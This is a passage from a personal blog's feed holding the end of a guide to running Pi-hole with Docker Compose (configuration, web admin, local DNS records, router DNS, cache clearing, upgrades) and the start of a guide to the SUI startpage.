&lt;p&gt;If we will not use Pi-hole as our DHCP server we do not need to expose port &lt;code&gt;67&lt;/code&gt;. We will not use this feature on this guide, so we can delete this line.&lt;/p&gt;
&lt;h4 id="change-web-ui-port"&gt;
Change Web UI port
&lt;a href="#change-web-ui-port" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;If the default http port &lt;code&gt;80&lt;/code&gt; is already taken, we can change it to another available port. For me it is &lt;code&gt;8081&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;ports&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#e6db74"&gt;&amp;#34;8081:80/tcp&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="change-timezone"&gt;
Change Timezone
&lt;a href="#change-timezone" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Change the &lt;code&gt;TZ&lt;/code&gt; variable according to your location. For me it is &lt;code&gt;Europe/Athens&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;environment&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;TZ&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Europe/Athens&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="add-servers-ip-address"&gt;
Add Server&amp;rsquo;s IP Address
&lt;a href="#add-servers-ip-address" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;We will add the &lt;code&gt;FTLCONF_REPLY_ADDR4&lt;/code&gt; and set it to our server&amp;rsquo;s LAN IP. For me it is &lt;code&gt;192.168.1.99&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;environment&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;FTLCONF_REPLY_ADDR4&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;192.168.1.99&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This environment variable replaces the deprecated &lt;code&gt;ServerIP&lt;/code&gt; and solves the problem where we can not access &lt;a href="http://pi.hole/admin"&gt;pi.hole/admin&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="final-docker-compose-file"&gt;
Final Docker Compose file
&lt;a href="#final-docker-compose-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The final version of the &lt;code&gt;docker-compose.yml&lt;/code&gt; file is now:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yml" data-lang="yml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;version&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;3&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# https://github.com/pi-hole/docker-pi-hole/blob/master/README.md&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;services&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;pihole&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;container_name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;pihole&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;image&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;pihole/pihole:latest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# For DHCP it is recommended to remove these ports and instead add: network_mode: &amp;#34;host&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;ports&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#e6db74"&gt;&amp;#34;53:53/tcp&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#e6db74"&gt;&amp;#34;53:53/udp&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#- &amp;#34;67:67/udp&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#e6db74"&gt;&amp;#34;8081:80/tcp&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;environment&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;TZ&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Europe/Athens&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# WEBPASSWORD: &amp;#39;set a secure password here or it will be random&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;FTLCONF_REPLY_ADDR4&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;192.168.1.99&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Volumes store your data between container upgrades&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;volumes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#e6db74"&gt;&amp;#34;./etc-pihole:/etc/pihole&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#e6db74"&gt;&amp;#34;./etc-dnsmasq.d:/etc/dnsmasq.d&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# run `touch ./var-log/pihole.log` first unless you like errors&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# - &amp;#39;./var-log/pihole.log:/var/log/pihole.log&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Recommended but not required (DHCP needs NET_ADMIN)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# https://github.com/pi-hole/docker-pi-hole#note-on-capabilities&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;cap_add&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#ae81ff"&gt;NET_ADMIN&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;restart&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;unless-stopped&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="start-pi-hole-container"&gt;
Start Pi-hole Container
&lt;a href="#start-pi-hole-container" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To download the images and start the container run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker-compose up -d
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="stop-pi-hole-container"&gt;
Stop Pi-hole Container
&lt;a href="#stop-pi-hole-container" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To stop the container run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker-compose down
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="view-logs"&gt;
View Logs
&lt;a href="#view-logs" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;View the generated logs with &lt;code&gt;docker-compose&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker-compose logs
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and find the randomly generated password:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;pihole | ::: Starting docker specific checks &amp;amp; setup for docker pihole/pihole
pihole | Assigning random password: tFTQWe5q
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="access-web-ui"&gt;
Access Web UI
&lt;a href="#access-web-ui" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Once Pi-hole is deployed you can navigate to &lt;a href="http://ip-server:8081"&gt;http://ip-server:8081&lt;/a&gt;, to see the home page.&lt;/p&gt;
&lt;p&gt;Go to the admin panel &lt;a href="http://ip-server:8081/admin"&gt;http://ip-server:8081/admin&lt;/a&gt; and login with the password copied earlier.&lt;/p&gt;
&lt;h3 id="change-password"&gt;
Change Password
&lt;a href="#change-password" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;In order to change the Web UI password we need to run a command inside the the Docker container.&lt;/p&gt;
&lt;p&gt;Navigate inside the &lt;code&gt;pihole&lt;/code&gt; container:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker exec -it pihole bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And run this command to change the password:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pihole -a -p
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Type &lt;code&gt;exit&lt;/code&gt; to exit the container:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="change-dns-server"&gt;
Change DNS server
&lt;a href="#change-dns-server" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To specify the default DNS resolver the Pi-hole will use, from the Web UI:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Navigate to the &lt;strong&gt;Settings&lt;/strong&gt; section:
&lt;ul&gt;
&lt;li&gt;Under the &lt;strong&gt;DNS&lt;/strong&gt; tab, select the desired DNS servers.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Scroll down and click the &lt;strong&gt;Save&lt;/strong&gt; button.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="view-pi-hole-blocked-domains-list"&gt;
View Pi-hole Blocked Domains list
&lt;a href="#view-pi-hole-blocked-domains-list" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To view the default blocked domains by Pi-hole, from the Web UI:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Navigate to the &lt;strong&gt;Group Management&lt;/strong&gt; section:
&lt;ul&gt;
&lt;li&gt;Under the &lt;strong&gt;Adlists&lt;/strong&gt; tab, you can see all the adlists.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To add a new adlist:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Add the URL of the adlist (adlist format: &lt;code&gt;0.0.0.0 domain.com&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Add a comment&lt;/li&gt;
&lt;li&gt;Click the &lt;strong&gt;Add&lt;/strong&gt; button.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="view-dns-queries"&gt;
View DNS queries
&lt;a href="#view-dns-queries" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;In order to see if Pi-hole is getting the DNS requests, from the Web UI:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Navigate to the &lt;strong&gt;Query Log&lt;/strong&gt; section:
&lt;ul&gt;
&lt;li&gt;Here you can view the most recent DNS queries from each client&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="add-local-dns-records"&gt;
Add Local DNS Records
&lt;a href="#add-local-dns-records" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;We can add our custom DNS records for our Local Network, in order to use domain names instead of IPs for our devices in the house. To do that, from the Web UI:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Navigate to the &lt;strong&gt;Local DNS&lt;/strong&gt; section:
&lt;ul&gt;
&lt;li&gt;Under the &lt;strong&gt;DNS Records&lt;/strong&gt; tab, you can add or list all local DNS domains.&lt;/li&gt;
&lt;li&gt;To add a new record:
&lt;ul&gt;
&lt;li&gt;Select a domain name: e.g. &lt;code&gt;server.home&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Add the IP address of the device you want to use this domain for: e.g. &lt;code&gt;192.168.1.99&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Click the &lt;strong&gt;Add&lt;/strong&gt; button.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now we can access our home server at the &lt;a href="http://server.home"&gt;server.home&lt;/a&gt; URL.&lt;/p&gt;
&lt;h2 id="add-pi-hole-as-a-dns-server-on-the-router"&gt;
Add Pi-hole as a DNS server on the Router
&lt;a href="#add-pi-hole-as-a-dns-server-on-the-router" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In order for Pi-hole to be able to block ads on all the devices in our network, we either need to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Configure each device to use Pi-hole as its DNS server&lt;/li&gt;
&lt;li&gt;Configure on our router to use Pi-hole as each DNS server for all the DHCP clients&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The most efficient way is to add it the IP of server that runs Pi-hole as the DNS server and an alternative for backup like Cloudflare DNS &lt;code&gt;1.1.1.1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This depends highly on your router&amp;rsquo;s model, but the steps are somewhat similar:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go to your router&amp;rsquo;s admin panel, e.g. &lt;code&gt;http://192.168.1.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Navigate to the tab that has the Local Network settings.&lt;/li&gt;
&lt;li&gt;Find the DHCP setting.&lt;/li&gt;
&lt;li&gt;Change the DNS IP address to Pi-hole server&amp;rsquo;s IP, e.g. &lt;code&gt;192.168.1.2&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Add an alternative DNS IP, e.g. &lt;code&gt;1.1.1.1&lt;/code&gt;..&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It is best to restart the router in order to force all clients to update the DNS server.&lt;/p&gt;
&lt;h2 id="clear-dns-cache"&gt;
Clear DNS cache
&lt;a href="#clear-dns-cache" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;If you do not see any queries being made to Pi-hole maybe the client have cached the DNS results and they are not making new requests. To force them to make the DNS queries we need to clear the cache.&lt;/p&gt;
&lt;h3 id="clear-dns-cache-on-windows"&gt;
Clear DNS cache on Windows
&lt;a href="#clear-dns-cache-on-windows" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To clear the cache system wide on Windows, open a CMD and type:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-pwsh" data-lang="pwsh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ipconfig /flushdns
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="clear-dns-cache-on-linux"&gt;
Clear DNS cache on Linux
&lt;a href="#clear-dns-cache-on-linux" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Some Linux distributions do not use DNS caching at system level, instead the application maintain their own caches.&lt;/p&gt;
&lt;p&gt;For Ubuntu based systems to clear the cache system wide on, open a terminal and type:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemd-resolve --flush-caches
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="clear-dns-cache-on-chrome"&gt;
Clear DNS cache on Chrome
&lt;a href="#clear-dns-cache-on-chrome" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To clear the cache system wide on Chromium based browsers, open a new tab and type on the browser field:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;chrome://net-internals/#dns
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;and press the &lt;strong&gt;Clear host cache&lt;/strong&gt; button.&lt;/p&gt;
&lt;h3 id="clear-dns-cache-on-firefox"&gt;
Clear DNS cache on Firefox
&lt;a href="#clear-dns-cache-on-firefox" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To clear the cache system wide on Firefox:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From the application menu select &lt;strong&gt;Settings&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Select the &lt;strong&gt;Privacy &amp;amp; Security&lt;/strong&gt; tab.&lt;/li&gt;
&lt;li&gt;Find the &lt;strong&gt;Cookies and Site Data&lt;/strong&gt; field.
&lt;ul&gt;
&lt;li&gt;Press the &lt;strong&gt;Clear Data&lt;/strong&gt; button.&lt;/li&gt;
&lt;li&gt;Select only the &lt;strong&gt;Cached Web Contain&lt;/strong&gt; field.&lt;/li&gt;
&lt;li&gt;Press &lt;strong&gt;Clear&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="upgrade-pi-hole"&gt;
Upgrade Pi-hole
&lt;a href="#upgrade-pi-hole" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;If a new image is available, the steps to update our Pi-hole container are the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Download the latest version of the image:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker pull pihole/pihole
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Stop and delete the current container (no logs/customizations will be deleted because we have them volume-mapped):&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker-compose down
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker rm -f pihole
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Start the container with the newer base image:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker-compose up -d
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pi-hole.net/"&gt;Pi-hole - Website&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/pi-hole/docker-pi-hole/#running-pi-hole-docker"&gt;Pi-hole - Running Pi-hole Docker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/pi-hole/docker-pi-hole"&gt;Pi-hole - Docker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/pi-hole/docker-pi-hole/#installing-on-ubuntu"&gt;Pi-hole - Installing on Ubuntu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://serverok.in/disable-systemd-resolved"&gt;Disable systemd-resolved&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.pi-hole.net/main/post-install/"&gt;Pi-hole Docs - Post Install&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://discourse.pi-hole.net/t/how-do-i-configure-my-devices-to-use-pi-hole-as-their-dns-server/245"&gt;Pi-hole Discourse - How do I configure my devices to use Pi-hole as their DNS server?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/pi-hole/docker-pi-hole/issues/829"&gt;Pi-hole Issues - pi.hole and pihole not correctly set to local IP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ispsystem.com/news/clear-dns-cache"&gt;How to clear DNS cache&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>SUI Configure</title><link>https://thanoskoutr.com/posts/sui-configure/</link><pubDate>Sat, 16 Oct 2021 18:49:49 +0300</pubDate><guid>https://thanoskoutr.com/posts/sui-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/sui.png"/&gt;
&lt;p&gt;&lt;a href="https://github.com/jeroenpardon/sui"&gt;SUI&lt;/a&gt; is a startpage for your server and / or new tab page. It offers some similar functionalities as &lt;a href="https://thanoskoutr.com/posts/homer-configure/"&gt;Homer&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We can use this app in order to have a homepage for all our services, apps and links of our server into one place, and edit only some &lt;code&gt;json&lt;/code&gt; files for the content.&lt;/p&gt;
&lt;p&gt;This guide assumes, that &lt;a href="https://thanoskoutr.com/posts/docker-install/"&gt;Docker&lt;/a&gt; and &lt;a href="https://thanoskoutr.com/posts/docker-compose-install/"&gt;Docker Compose&lt;/a&gt; is already installed in your system.&lt;/p&gt;
&lt;h2 id="run-using-docker"&gt;
Run Using Docker
&lt;a href="#run-using-docker" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Clone the repository in your system and navigate into it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/jeroenpardon/sui.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd sui
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Change the &lt;code&gt;docker-compose.yaml&lt;/code&gt; file, by declaring the networks as not external in order to work:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;version: &lt;span style="color:#e6db74"&gt;&amp;#34;3.5&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;services:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sui:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; container_name: sui
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; restart: always
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; build:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; context: ./
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; environment:
